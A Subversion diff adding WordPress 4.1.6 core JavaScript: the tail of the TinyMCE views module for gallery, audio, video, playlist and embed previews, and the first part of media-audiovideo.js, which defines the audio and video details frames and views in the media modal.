+					'class': 'wpview-wrap',
+					'data-wpview-text': encodedText,
+					'data-wpview-type': viewType
+				},
+
+				content: '\u00a0'
+			});
+		},
+
+		/**
+		 * Refresh views after an update is made
+		 *
+		 * @param view {object} being refreshed
+		 * @param text {string} textual representation of the view
+		 * @param force {Boolean} whether to force rendering
+		 */
+		refreshView: function( view, text, force ) {
+			var encodedText = window.encodeURIComponent( text ),
+				viewOptions,
+				result, instance;
+
+			instance = wp.mce.views.getInstance( encodedText );
+
+			if ( ! instance ) {
+				result = view.toView( text );
+				viewOptions = result.options;
+				viewOptions.type = view.type;
+				viewOptions.encodedText = encodedText;
+				instance = new view.View( viewOptions );
+				instances[ encodedText ] = instance;
+			}
+
+			instance.render( force );
+		},
+
+		getInstance: function( encodedText ) {
+			return instances[ encodedText ];
+		},
+
+		/**
+		 * render( scope )
+		 *
+		 * Renders any view instances inside a DOM node `scope`.
+		 *
+		 * View instances are detected by the presence of wrapper elements.
+		 * To generate wrapper elements, pass your content through
+		 * `wp.mce.view.toViews( content )`.
+		 */
+		render: function( force ) {
+			_.each( instances, function( instance ) {
+				instance.render( force );
+			} );
+		},
+
+		edit: function( node ) {
+			var viewType = $( node ).data('wpview-type'),
+				view = wp.mce.views.get( viewType );
+
+			if ( view ) {
+				view.edit( node );
+			}
+		}
+	};
+
+	wp.mce.views.register( 'gallery', {
+		View: {
+			template: media.template( 'editor-gallery' ),
+
+			// The fallback post ID to use as a parent for galleries that don't
+			// specify the `ids` or `include` parameters.
+			//
+			// Uses the hidden input on the edit posts page by default.
+			postID: $('#post_ID').val(),
+
+			initialize: function( options ) {
+				this.shortcode = options.shortcode;
+				this.fetch();
+			},
+
+			fetch: function() {
+				var self = this;
+
+				this.attachments = wp.media.gallery.attachments( this.shortcode, this.postID );
+				this.dfd = this.attachments.more().done( function() {
+					self.render( true );
+				} );
+			},
+
+			getHtml: function() {
+				var attrs = this.shortcode.attrs.named,
+					attachments = false,
+					options;
+
+				// Don't render errors while still fetching attachments
+				if ( this.dfd && 'pending' === this.dfd.state() && ! this.attachments.length ) {
+					return '';
+				}
+
+				if ( this.attachments.length ) {
+					attachments = this.attachments.toJSON();
+
+					_.each( attachments, function( attachment ) {
+						if ( attachment.sizes ) {
+							if ( attrs.size && attachment.sizes[ attrs.size ] ) {
+								attachment.thumbnail = attachment.sizes[ attrs.size ];
+							} else if ( attachment.sizes.thumbnail ) {
+								attachment.thumbnail = attachment.sizes.thumbnail;
+							} else if ( attachment.sizes.full ) {
+								attachment.thumbnail = attachment.sizes.full;
+							}
+						}
+					} );
+				}
+
+				options = {
+					attachments: attachments,
+					columns: attrs.columns ? parseInt( attrs.columns, 10 ) : wp.media.galleryDefaults.columns
+				};
+
+				return this.template( options );
+			}
+		},
+
+		edit: function( node ) {
+			var gallery = wp.media.gallery,
+				self = this,
+				frame, data;
+
+			data = window.decodeURIComponent( $( node ).attr('data-wpview-text') );
+			frame = gallery.edit( data );
+
+			frame.state('gallery-edit').on( 'update', function( selection ) {
+				var shortcode = gallery.shortcode( selection ).string(), force;
+				$( node ).attr( 'data-wpview-text', window.encodeURIComponent( shortcode ) );
+				force = ( data !== shortcode );
+				wp.mce.views.refreshView( self, shortcode, force );
+			});
+
+			frame.on( 'close', function() {
+				frame.detach();
+			});
+		}
+	} );
+
+	/**
+	 * These are base methods that are shared by the audio and video shortcode's MCE controller.
+	 *
+	 * @mixin
+	 */
+	wp.mce.av = {
+		View: {
+			overlay: true,
+
+			action: 'parse-media-shortcode',
+
+			initialize: function( options ) {
+				var self = this;
+
+				this.shortcode = options.shortcode;
+
+				_.bindAll( this, 'setIframes', 'setNodes', 'fetch', 'stopPlayers' );
+				$( this ).on( 'ready', this.setNodes );
+
+				$( document ).on( 'media:edit', this.stopPlayers );
+
+				this.fetch();
+
+				this.getEditors( function( editor ) {
+					editor.on( 'hide', function () {
+						mediaWindows = [];
+						windowIdx = 0;
+						self.stopPlayers();
+					} );
+				});
+			},
+
+			pauseOtherWindows: function ( win ) {
+				_.each( mediaWindows, function ( mediaWindow ) {
+					if ( mediaWindow.sandboxId !== win.sandboxId ) {
+						_.each( mediaWindow.mejs.players, function ( player ) {
+							player.pause();
+						} );
+					}
+				} );
+			},
+
+			iframeLoaded: function (win) {
+				return _.bind( function () {
+					var callback;
+					if ( ! win.mejs || _.isEmpty( win.mejs.players ) ) {
+						return;
+					}
+
+					win.sandboxId = windowIdx;
+					windowIdx++;
+					mediaWindows.push( win );
+
+					callback = _.bind( function () {
+						this.pauseOtherWindows( win );
+					}, this );
+
+					if ( ! _.isEmpty( win.mejs.MediaPluginBridge.pluginMediaElements ) ) {
+						_.each( win.mejs.MediaPluginBridge.pluginMediaElements, function ( mediaElement ) {
+							mediaElement.addEventListener( 'play', callback );
+						} );
+					}
+
+					_.each( win.mejs.players, function ( player ) {
+						$( player.node ).on( 'play', callback );
+					}, this );
+				}, this );
+			},
+
+			listenToSandboxes: function () {
+				_.each( this.getNodes(), function ( node ) {
+					var win, iframe = $( '.wpview-sandbox', node ).get( 0 );
+					if ( iframe && ( win = iframe.contentWindow ) ) {
+						$( win ).load( _.bind( this.iframeLoaded( win ), this ) );
+					}
+				}, this );
+			},
+
+			deferredListen: function () {
+				window.setTimeout( _.bind( this.listenToSandboxes, this ), this.getNodes().length * waitInterval );
+			},
+
+			setNodes: function () {
+				if ( this.parsed ) {
+					this.setIframes( this.parsed.head, this.parsed.body );
+					this.deferredListen();
+				} else {
+					this.fail();
+				}
+			},
+
+			fetch: function () {
+				var self = this;
+
+				wp.ajax.send( this.action, {
+					data: {
+						post_ID: $( '#post_ID' ).val() || 0,
+						type: this.shortcode.tag,
+						shortcode: this.shortcode.string()
+					}
+				} )
+				.done( function( response ) {
+					if ( response ) {
+						self.parsed = response;
+						self.setIframes( response.head, response.body );
+						self.deferredListen();
+					} else {
+						self.fail( true );
+					}
+				} )
+				.fail( function( response ) {
+					self.fail( response || true );
+				} );
+			},
+
+			fail: function( error ) {
+				if ( ! this.error ) {
+					if ( error ) {
+						this.error = error;
+					} else {
+						return;
+					}
+				}
+
+				if ( this.error.message ) {
+					if ( ( this.error.type === 'not-embeddable' && this.type === 'embed' ) || this.error.type === 'not-ssl' ||
+						this.error.type === 'no-items' ) {
+
+						this.setError( this.error.message, 'admin-media' );
+					} else {
+						this.setContent( '<p>' + this.original + '</p>', 'replace' );
+					}
+				} else if ( this.error.statusText ) {
+					this.setError( this.error.statusText, 'admin-media' );
+				} else if ( this.original ) {
+					this.setContent( '<p>' + this.original + '</p>', 'replace' );
+				}
+			},
+
+			stopPlayers: function( remove ) {
+				var rem = remove === 'remove';
+
+				this.getNodes( function( editor, node, content ) {
+					var p, win,
+						iframe = $( 'iframe.wpview-sandbox', content ).get(0);
+
+					if ( iframe && ( win = iframe.contentWindow ) && win.mejs ) {
+						// Sometimes ME.js may show a "Download File" placeholder and player.remove() doesn't exist there.
+						try {
+							for ( p in win.mejs.players ) {
+								win.mejs.players[p].pause();
+
+								if ( rem ) {
+									win.mejs.players[p].remove();
+								}
+							}
+						} catch( er ) {}
+					}
+				});
+			},
+
+			unbind: function() {
+				this.stopPlayers( 'remove' );
+			}
+		},
+
+		/**
+		 * Called when a TinyMCE view is clicked for editing.
+		 * - Parses the shortcode out of the element's data attribute
+		 * - Calls the `edit` method on the shortcode model
+		 * - Launches the model window
+		 * - Bind's an `update` callback which updates the element's data attribute
+		 *   re-renders the view
+		 *
+		 * @param {HTMLElement} node
+		 */
+		edit: function( node ) {
+			var media = wp.media[ this.type ],
+				self = this,
+				frame, data, callback;
+
+			$( document ).trigger( 'media:edit' );
+
+			data = window.decodeURIComponent( $( node ).attr('data-wpview-text') );
+			frame = media.edit( data );
+			frame.on( 'close', function() {
+				frame.detach();
+			} );
+
+			callback = function( selection ) {
+				var shortcode = wp.media[ self.type ].shortcode( selection ).string();
+				$( node ).attr( 'data-wpview-text', window.encodeURIComponent( shortcode ) );
+				wp.mce.views.refreshView( self, shortcode );
+				frame.detach();
+			};
+			if ( _.isArray( self.state ) ) {
+				_.each( self.state, function (state) {
+					frame.state( state ).on( 'update', callback );
+				} );
+			} else {
+				frame.state( self.state ).on( 'update', callback );
+			}
+			frame.open();
+		}
+	};
+
+	/**
+	 * TinyMCE handler for the video shortcode
+	 *
+	 * @mixes wp.mce.av
+	 */
+	wp.mce.views.register( 'video', _.extend( {}, wp.mce.av, {
+		state: 'video-details'
+	} ) );
+
+	/**
+	 * TinyMCE handler for the audio shortcode
+	 *
+	 * @mixes wp.mce.av
+	 */
+	wp.mce.views.register( 'audio', _.extend( {}, wp.mce.av, {
+		state: 'audio-details'
+	} ) );
+
+	/**
+	 * TinyMCE handler for the playlist shortcode
+	 *
+	 * @mixes wp.mce.av
+	 */
+	wp.mce.views.register( 'playlist', _.extend( {}, wp.mce.av, {
+		state: [ 'playlist-edit', 'video-playlist-edit' ]
+	} ) );
+
+	/**
+	 * TinyMCE handler for the embed shortcode
+	 */
+	wp.mce.embedMixin = {
+		View: _.extend( {}, wp.mce.av.View, {
+			overlay: true,
+			action: 'parse-embed',
+			initialize: function( options ) {
+				this.content = options.content;
+				this.original = options.url || options.shortcode.string();
+
+				if ( options.url ) {
+					this.shortcode = media.embed.shortcode( {
+						url: options.url
+					} );
+				} else {
+					this.shortcode = options.shortcode;
+				}
+
+				_.bindAll( this, 'setIframes', 'setNodes', 'fetch' );
+				$( this ).on( 'ready', this.setNodes );
+
+				this.fetch();
+			}
+		} ),
+		edit: function( node ) {
+			var embed = media.embed,
+				self = this,
+				frame,
+				data,
+				isURL = 'embedURL' === this.type;
+
+			$( document ).trigger( 'media:edit' );
+
+			data = window.decodeURIComponent( $( node ).attr('data-wpview-text') );
+			frame = embed.edit( data, isURL );
+			frame.on( 'close', function() {
+				frame.detach();
+			} );
+			frame.state( 'embed' ).props.on( 'change:url', function (model, url) {
+				if ( ! url ) {
+					return;
+				}
+				frame.state( 'embed' ).metadata = model.toJSON();
+			} );
+			frame.state( 'embed' ).on( 'select', function() {
+				var shortcode;
+
+				if ( isURL ) {
+					shortcode = frame.state( 'embed' ).metadata.url;
+				} else {
+					shortcode = embed.shortcode( frame.state( 'embed' ).metadata ).string();
+				}
+				$( node ).attr( 'data-wpview-text', window.encodeURIComponent( shortcode ) );
+				wp.mce.views.refreshView( self, shortcode );
+				frame.detach();
+			} );
+			frame.open();
+		}
+	};
+
+	wp.mce.views.register( 'embed', _.extend( {}, wp.mce.embedMixin ) );
+
+	wp.mce.views.register( 'embedURL', _.extend( {}, wp.mce.embedMixin, {
+		toView: function( content ) {
+			var re = /(?:^|<p>)(https?:\/\/[^\s"]+?)(?:<\/p>\s*|$)/gi,
+				match = re.exec( tinymce.trim( content ) );
+
+			if ( ! match ) {
+				return;
+			}
+
+			return {
+				index: match.index,
+				content: match[0],
+				options: {
+					url: match[1]
+				}
+			};
+		}
+	} ) );
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-includes/js/media-audiovideo.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/media-audiovideo.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/media-audiovideo.js	(revision 33402)
@@ -0,0 +1,831 @@
+/* global _wpMediaViewsL10n, _wpmejsSettings, MediaElementPlayer */
+
+(function($, _, Backbone) {
+	var media = wp.media,
+		baseSettings = {},
+		l10n = typeof _wpMediaViewsL10n === 'undefined' ? {} : _wpMediaViewsL10n;
+
+	if ( ! _.isUndefined( window._wpmejsSettings ) ) {
+		baseSettings = _wpmejsSettings;
+	}
+
+	/**
+	 * @mixin
+	 */
+	wp.media.mixin = {
+		mejsSettings: baseSettings,
+
+		removeAllPlayers: function() {
+			var p;
+
+			if ( window.mejs && window.mejs.players ) {
+				for ( p in window.mejs.players ) {
+					window.mejs.players[p].pause();
+					this.removePlayer( window.mejs.players[p] );
+				}
+			}
+		},
+
+		/**
+		 * Override the MediaElement method for removing a player.
+		 *	MediaElement tries to pull the audio/video tag out of
+		 *	its container and re-add it to the DOM.
+		 */
+		removePlayer: function(t) {
+			var featureIndex, feature;
+
+			if ( ! t.options ) {
+				return;
+			}
+
+			// invoke features cleanup
+			for ( featureIndex in t.options.features ) {
+				feature = t.options.features[featureIndex];
+				if ( t['clean' + feature] ) {
+					try {
+						t['clean' + feature](t);
+					} catch (e) {}
+				}
+			}
+
+			if ( ! t.isDynamic ) {
+				t.$node.remove();
+			}
+
+			if ( 'native' !== t.media.pluginType ) {
+				t.$media.remove();
+			}
+
+			delete window.mejs.players[t.id];
+
+			t.container.remove();
+			t.globalUnbind();
+			delete t.node.player;
+		},
+
+		/**
+		 * Allows any class that has set 'player' to a MediaElementPlayer
+		 *  instance to remove the player when listening to events.
+		 *
+		 *  Examples: modal closes, shortcode properties are removed, etc.
+		 */
+		unsetPlayers : function() {
+			if ( this.players && this.players.length ) {
+				_.each( this.players, function (player) {
+					player.pause();
+					wp.media.mixin.removePlayer( player );
+				} );
+				this.players = [];
+			}
+		}
+	};
+
+	/**
+	 * Autowire "collection"-type shortcodes
+	 */
+	wp.media.playlist = new wp.media.collection({
+		tag: 'playlist',
+		editTitle : l10n.editPlaylistTitle,
+		defaults : {
+			id: wp.media.view.settings.post.id,
+			style: 'light',
+			tracklist: true,
+			tracknumbers: true,
+			images: true,
+			artists: true,
+			type: 'audio'
+		}
+	});
+
+	/**
+	 * Shortcode modeling for audio
+	 *  `edit()` prepares the shortcode for the media modal
+	 *  `shortcode()` builds the new shortcode after update
+	 *
+	 * @namespace
+	 */
+	wp.media.audio = {
+		coerce : wp.media.coerce,
+
+		defaults : {
+			id : wp.media.view.settings.post.id,
+			src : '',
+			loop : false,
+			autoplay : false,
+			preload : 'none',
+			width : 400
+		},
+
+		edit : function( data ) {
+			var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode;
+			frame = wp.media({
+				frame: 'audio',
+				state: 'audio-details',
+				metadata: _.defaults( shortcode.attrs.named, this.defaults )
+			});
+
+			return frame;
+		},
+
+		shortcode : function( model ) {
+			var self = this, content;
+
+			_.each( this.defaults, function( value, key ) {
+				model[ key ] = self.coerce( model, key );
+
+				if ( value === model[ key ] ) {
+					delete model[ key ];
+				}
+			});
+
+			content = model.content;
+			delete model.content;
+
+			return new wp.shortcode({
+				tag: 'audio',
+				attrs: model,
+				content: content
+			});
+		}
+	};
+
+	/**
+	 * Shortcode modeling for video
+	 *  `edit()` prepares the shortcode for the media modal
+	 *  `shortcode()` builds the new shortcode after update
+	 *
+	 * @namespace
+	 */
+	wp.media.video = {
+		coerce : wp.media.coerce,
+
+		defaults : {
+			id : wp.media.view.settings.post.id,
+			src : '',
+			poster : '',
+			loop : false,
+			autoplay : false,
+			preload : 'metadata',
+			content : '',
+			width : 640,
+			height : 360
+		},
+
+		edit : function( data ) {
+			var frame,
+				shortcode = wp.shortcode.next( 'video', data ).shortcode,
+				attrs;
+
+			attrs = shortcode.attrs.named;
+			attrs.content = shortcode.content;
+
+			frame = wp.media({
+				frame: 'video',
+				state: 'video-details',
+				metadata: _.defaults( attrs, this.defaults )
+			});
+
+			return frame;
+		},
+
+		shortcode : function( model ) {
+			var self = this, content;
+
+			_.each( this.defaults, function( value, key ) {
+				model[ key ] = self.coerce( model, key );
+
+				if ( value === model[ key ] ) {
+					delete model[ key ];
+				}
+			});
+
+			content = model.content;
+			delete model.content;
+
+			return new wp.shortcode({
+				tag: 'video',
+				attrs: model,
+				content: content
+			});
+		}
+	};
+
+	/**
+	 * Shared model class for audio and video. Updates the model after
+	 *   "Add Audio|Video Source" and "Replace Audio|Video" states return
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	media.model.PostMedia = Backbone.Model.extend({
+		initialize: function() {
+			this.attachment = false;
+		},
+
+		setSource: function( attachment ) {
+			this.attachment = attachment;
+			this.extension = attachment.get( 'filename' ).split('.').pop();
+
+			if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) {
+				this.unset( 'src' );
+			}
+
+			if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) {
+				this.set( this.extension, this.attachment.get( 'url' ) );
+			} else {
+				this.unset( this.extension );
+			}
+		},
+
+		changeAttachment: function( attachment ) {
+			var self = this;
+
+			this.setSource( attachment );
+
+			this.unset( 'src' );
+			_.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) {
+				self.unset( ext );
+			} );
+		}
+	});
+
+	/**
+	 * The controller for the Audio Details state
+	 *
+	 * @constructor
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 */
+	media.controller.AudioDetails = media.controller.State.extend({
+		defaults: {
+			id: 'audio-details',
+			toolbar: 'audio-details',
+			title: l10n.audioDetailsTitle,
+			content: 'audio-details',
+			menu: 'audio-details',
+			router: false,
+			priority: 60
+		},
+
+		initialize: function( options ) {
+			this.media = options.media;
+			media.controller.State.prototype.initialize.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * The controller for the Video Details state
+	 *
+	 * @constructor
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 */
+	media.controller.VideoDetails = media.controller.State.extend({
+		defaults: {
+			id: 'video-details',
+			toolbar: 'video-details',
+			title: l10n.videoDetailsTitle,
+			content: 'video-details',
+			menu: 'video-details',
+			router: false,
+			priority: 60
+		},
+
+		initialize: function( options ) {
+			this.media = options.media;
+			media.controller.State.prototype.initialize.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.MediaDetails
+	 *
+	 * @constructor
+	 * @augments wp.media.view.MediaFrame.Select
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.MediaDetails = media.view.MediaFrame.Select.extend({
+		defaults: {
+			id:      'media',
+			url:     '',
+			menu:    'media-details',
+			content: 'media-details',
+			toolbar: 'media-details',
+			type:    'link',
+			priority: 120
+		},
+
+		initialize: function( options ) {
+			this.DetailsView = options.DetailsView;
+			this.cancelText = options.cancelText;
+			this.addText = options.addText;
+
+			this.media = new media.model.PostMedia( options.metadata );
+			this.options.selection = new media.model.Selection( this.media.attachment, { multiple: false } );
+			media.view.MediaFrame.Select.prototype.initialize.apply( this, arguments );
+		},
+
+		bindHandlers: function() {
+			var menu = this.defaults.menu;
+
+			media.view.MediaFrame.Select.prototype.bindHandlers.apply( this, arguments );
+
+			this.on( 'menu:create:' + menu, this.createMenu, this );
+			this.on( 'content:render:' + menu, this.renderDetailsContent, this );
+			this.on( 'menu:render:' + menu, this.renderMenu, this );
+			this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this );
+		},
+
+		renderDetailsContent: function() {
+			var view = new this.DetailsView({
+				controller: this,
+				model: this.state().media,
+				attachment: this.state().media.attachment
+			}).render();
+
+			this.content.set( view );
+		},
+
+		renderMenu: function( view ) {
+			var lastState = this.lastState(),
+				previous = lastState && lastState.id,
+				frame = this;
+
+			view.set({
+				cancel: {
+					text:     this.cancelText,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				},
+				separateCancel: new media.View({
+					className: 'separator',
+					priority: 40
+				})
+			});
+
+		},
+
+		setPrimaryButton: function(text, handler) {
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					button: {
+						style:    'primary',
+						text:     text,
+						priority: 80,
+						click:    function() {
+							var controller = this.controller;
+							handler.call( this, controller, controller.state() );
+							// Restore and reset the default state.
+							controller.setState( controller.options.state );
+							controller.reset();
+						}
+					}
+				}
+			}) );
+		},
+
+		renderDetailsToolbar: function() {
+			this.setPrimaryButton( l10n.update, function( controller, state ) {
+				controller.close();
+				state.trigger( 'update', controller.media.toJSON() );
+			} );
+		},
+
+		renderReplaceToolbar: function() {
+			this.setPrimaryButton( l10n.replace, function( controller, state ) {
+				var attachment = state.get( 'selection' ).single();
+				controller.media.changeAttachment( attachment );
+				state.trigger( 'replace', controller.media.toJSON() );
+			} );
+		},
+
+		renderAddSourceToolbar: function() {
+			this.setPrimaryButton( this.addText, function( controller, state ) {
+				var attachment = state.get( 'selection' ).single();
+				controller.media.setSource( attachment );
+				state.trigger( 'add-source', controller.media.toJSON() );
+			} );
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.AudioDetails
+	 *
+	 * @constructor
+	 * @augments wp.media.view.MediaFrame.MediaDetails
+	 * @augments wp.media.view.MediaFrame.Select
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.AudioDetails = media.view.MediaFrame.MediaDetails.extend({
+		defaults: {
+			id:      'audio',
+			url:     '',
+			menu:    'audio-details',
+			content: 'audio-details',
+			toolbar: 'audio-details',
+			type:    'link',
+			title:    l10n.audioDetailsTitle,
+			priority: 120
+		},
+
+		initialize: function( options ) {
+			options.DetailsView = media.view.AudioDetails;
+			options.cancelText = l10n.audioDetailsCancel;
+			options.addText = l10n.audioAddSourceTitle;
+
+			media.view.MediaFrame.MediaDetails.prototype.initialize.call( this, options );
+		},
+
+		bindHandlers: function() {
+			media.view.MediaFrame.MediaDetails.prototype.bindHandlers.apply( this, arguments );
+
+			this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this );
+			this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this );
+		},
+
+		createStates: function() {
+			this.states.add([
+				new media.controller.AudioDetails( {
+					media: this.media
+				} ),
+
+				new media.controller.MediaLibrary( {
+					type: 'audio',
+					id: 'replace-audio',
+					title: l10n.audioReplaceTitle,
+					toolbar: 'replace-audio',
+					media: this.media,
+					menu: 'audio-details'
+				} ),
+
+				new media.controller.MediaLibrary( {
+					type: 'audio',
+					id: 'add-audio-source',
+					title: l10n.audioAddSourceTitle,
+					toolbar: 'add-audio-source',
+					media: this.media,
+					menu: false
+				} )
+			]);
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.VideoDetails
+	 *
+	 * @constructor
+	 * @augments wp.media.view.MediaFrame.MediaDetails
+	 * @augments wp.media.view.MediaFrame.Select
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.VideoDetails = media.view.MediaFrame.MediaDetails.extend({
+		defaults: {
+			id:      'video',
+			url:     '',
+			menu:    'video-details',
+			content: 'video-details',
+			toolbar: 'video-details',
+			type:    'link',
+			title:    l10n.videoDetailsTitle,
+			priority: 120
+		},
+
+		initialize: function( options ) {
+			options.DetailsView = media.view.VideoDetails;
+			options.cancelText = l10n.videoDetailsCancel;
+			options.addText = l10n.videoAddSourceTitle;
+
+			media.view.MediaFrame.MediaDetails.prototype.initialize.call( this, options );
+		},
+
+		bindHandlers: function() {
+			media.view.MediaFrame.MediaDetails.prototype.bindHandlers.apply( this, arguments );
+
+			this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this );
+			this.on( 'toolbar:render:add-video-source', this.renderAddSourceToolbar, this );
+			this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this );
+			this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this );
+		},
+
+		createStates: function() {
+			this.states.add([
+				new media.controller.VideoDetails({
+					media: this.media
+				}),
+
+				new media.controller.MediaLibrary( {
+					type: 'video',
+					id: 'replace-video',
+					title: l10n.videoReplaceTitle,
+					toolbar: 'replace-video',
+					media: this.media,
+					menu: 'video-details'
+				} ),
+
+				new media.controller.MediaLibrary( {
+					type: 'video',
+					id: 'add-video-source',
+					title: l10n.videoAddSourceTitle,
+					toolbar: 'add-video-source',
+					media: this.media,
+					menu: false
+				} ),
+
+				new media.controller.MediaLibrary( {
+					type: 'image',
+					id: 'select-poster-image',
+					title: l10n.videoSelectPosterImageTitle,
+					toolbar: 'select-poster-image',
+					media: this.media,
+					menu: 'video-details'
+				} ),
+
+				new media.controller.MediaLibrary( {
+					type: 'text',
+					id: 'add-track',
+					title: l10n.videoAddTrackTitle,
+					toolbar: 'add-track',
+					media: this.media,
+					menu: 'video-details'
+				} )
+			]);
+		},
+
+		renderSelectPosterImageToolbar: function() {
+			this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) {
+				var urls = [], attachment = state.get( 'selection' ).single();
+
+				controller.media.set( 'poster', attachment.get( 'url' ) );
+				state.trigger( 'set-poster-image', controller.media.toJSON() );
+
+				_.each( wp.media.view.settings.embedExts, function (ext) {
+					if ( controller.media.get( ext ) ) {
+						urls.push( controller.media.get( ext ) );
+					}
+				} );
+
+				wp.ajax.send( 'set-attachment-thumbnail', {
+					data : {
+						urls: urls,
+						thumbnail_id: attachment.get( 'id' )
+					}
+				} );
+			} );
+		},
+
+		renderAddTrackToolbar: function() {
+			this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) {
+				var attachment = state.get( 'selection' ).single(),
+					content = controller.media.get( 'content' );
+
+				if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) {
+					content += [
+						'<track srclang="en" label="English"kind="subtitles" src="',
+						attachment.get( 'url' ),
+						'" />'
+					].join('');
+
+					controller.media.set( 'content', content );
+				}
+				state.trigger( 'add-track', controller.media.toJSON() );
+			} );
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaDetails
+	 *
+	 * @constructor
+	 * @augments wp.media.view.Settings.AttachmentDisplay
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.MediaDetails = media.view.Settings.AttachmentDisplay.extend({
+		initialize: function() {
+			_.bindAll(this, 'success');
+			this.players = [];
+			this.listenTo( this.controller, 'close', media.mixin.unsetPlayers );
+			this.on( 'ready', this.setPlayer );
+			this.on( 'media:setting:remove', media.mixin.unsetPlayers, this );
+			this.on( 'media:setting:remove', this.render );
+			this.on( 'media:setting:remove', this.setPlayer );
+			this.events = _.extend( this.events, {
+				'click .remove-setting' : 'removeSetting',
+				'change .content-track' : 'setTracks',
+				'click .remove-track' : 'setTracks',
+				'click .add-media-source' : 'addSource'
+			} );
+
+			media.view.Settings.AttachmentDisplay.prototype.initialize.apply( this, arguments );
+		},
+
+		prepare: function() {
+			return _.defaults({
+				model: this.model.toJSON()
+			}, this.options );
+		},
+
+		/**
+		 * Remove a setting's UI when the model unsets it
+		 *
+		 * @fires wp.media.view.MediaDetails#media:setting:remove
+		 *
+		 * @param {Event} e
+		 */
+		removeSetting : function(e) {
+			var wrap = $( e.currentTarget ).parent(), setting;
+			setting = wrap.find( 'input' ).data( 'setting' );
+
+			if ( setting ) {
+				this.model.unset( setting );
+				this.trigger( 'media:setting:remove', this );
+			}
+
+			wrap.remove();
+		},
+
+		/**
+		 *
+		 * @fires wp.media.view.MediaDetails#media:setting:remove
+		 */
+		setTracks : function() {
+			var tracks = '';
+
+			_.each( this.$('.content-track'), function(track) {
+				tracks += $( track ).val();
+			} );
+
+			this.model.set( 'content', tracks );
+			this.trigger( 'media:setting:remove', this );
+		},
+
+		addSource : function( e ) {
+			this.controller.lastMime = $( e.currentTarget ).data( 'mime' );
+			this.controller.setState( 'add-' + this.controller.defaults.id + '-source' );
+		},
+
+		/**
+		 * @global MediaElementPlayer
+		 */
+		setPlayer : function() {
+			if ( ! this.players.length && this.media ) {
+				this.players.push( new MediaElementPlayer( this.media, this.settings ) );
+			}
+		},
+
+		/**
+		 * @abstract
+		 */
+		setMedia : function() {
+			return this;
+		},
+
+		success : function(mejs) {
+			var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
+
+			if ( 'flash' === mejs.pluginType && autoplay ) {
+				mejs.addEventListener( 'canplay', function() {
+					mejs.play();
+				}, false );
+			}
+
+			this.mejs = mejs;
+		},
+
+		/**
+		 * @returns {media.view.MediaDetails} Returns itself to allow chaining
+		 */
+		render: function() {
+			var self = this;
+
+			media.view.Settings.AttachmentDisplay.prototype.render.apply( this, arguments );
+			setTimeout( function() { self.resetFocus(); }, 10 );
+
+			this.settings = _.defaults( {
+				success : this.success
+			}, baseSettings );
+
+			return this.setMedia();
+		},
+
+		resetFocus: function() {
+			this.$( '.embed-media-settings' ).scrollTop( 0 );
+		}
+	}, {
+		instances : 0,
+
+		/**
+		 * When multiple players in the DOM contain the same src, things get weird.
+		 *
+		 * @param {HTMLElement} elem
+		 * @returns {HTMLElement}
+		 */
+		prepareSrc : function( elem ) {
+			var i = media.view.MediaDetails.instances++;
+			_.each( $( elem ).find( 'source' ), function( source ) {
+				source.src = [
+					source.src,
+					source.src.indexOf('?') > -1 ? '&' : '?',
+					'_=',
+					i
+				].join('');
+			} );
+
+			return elem;
+		}
+	});
+
+	/**
+	 * wp.media.view.AudioDetails
+	 *
+	 * @constructor
+	 * @augments wp.media.view.MediaDetails
+	 * @augments wp.media.view.Settings.AttachmentDisplay
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.AudioDetails = media.view.MediaDetails.extend({
+		className: 'audio-details',
+		template:  media.template('audio-details'),
+
+		setMedia: function() {
+			var audio = this.$('.wp-audio-shortcode');
+
+			if ( audio.find( 'source' ).length ) {
+				if ( audio.is(':hidden') ) {
+					audio.show();
+				}
+				this.media = media.view.MediaDetails.prepareSrc( audio.get(0) );
+			} else {
+				audio.hide();
+				this.media = false;
+			}
+
+			return this;
+		}
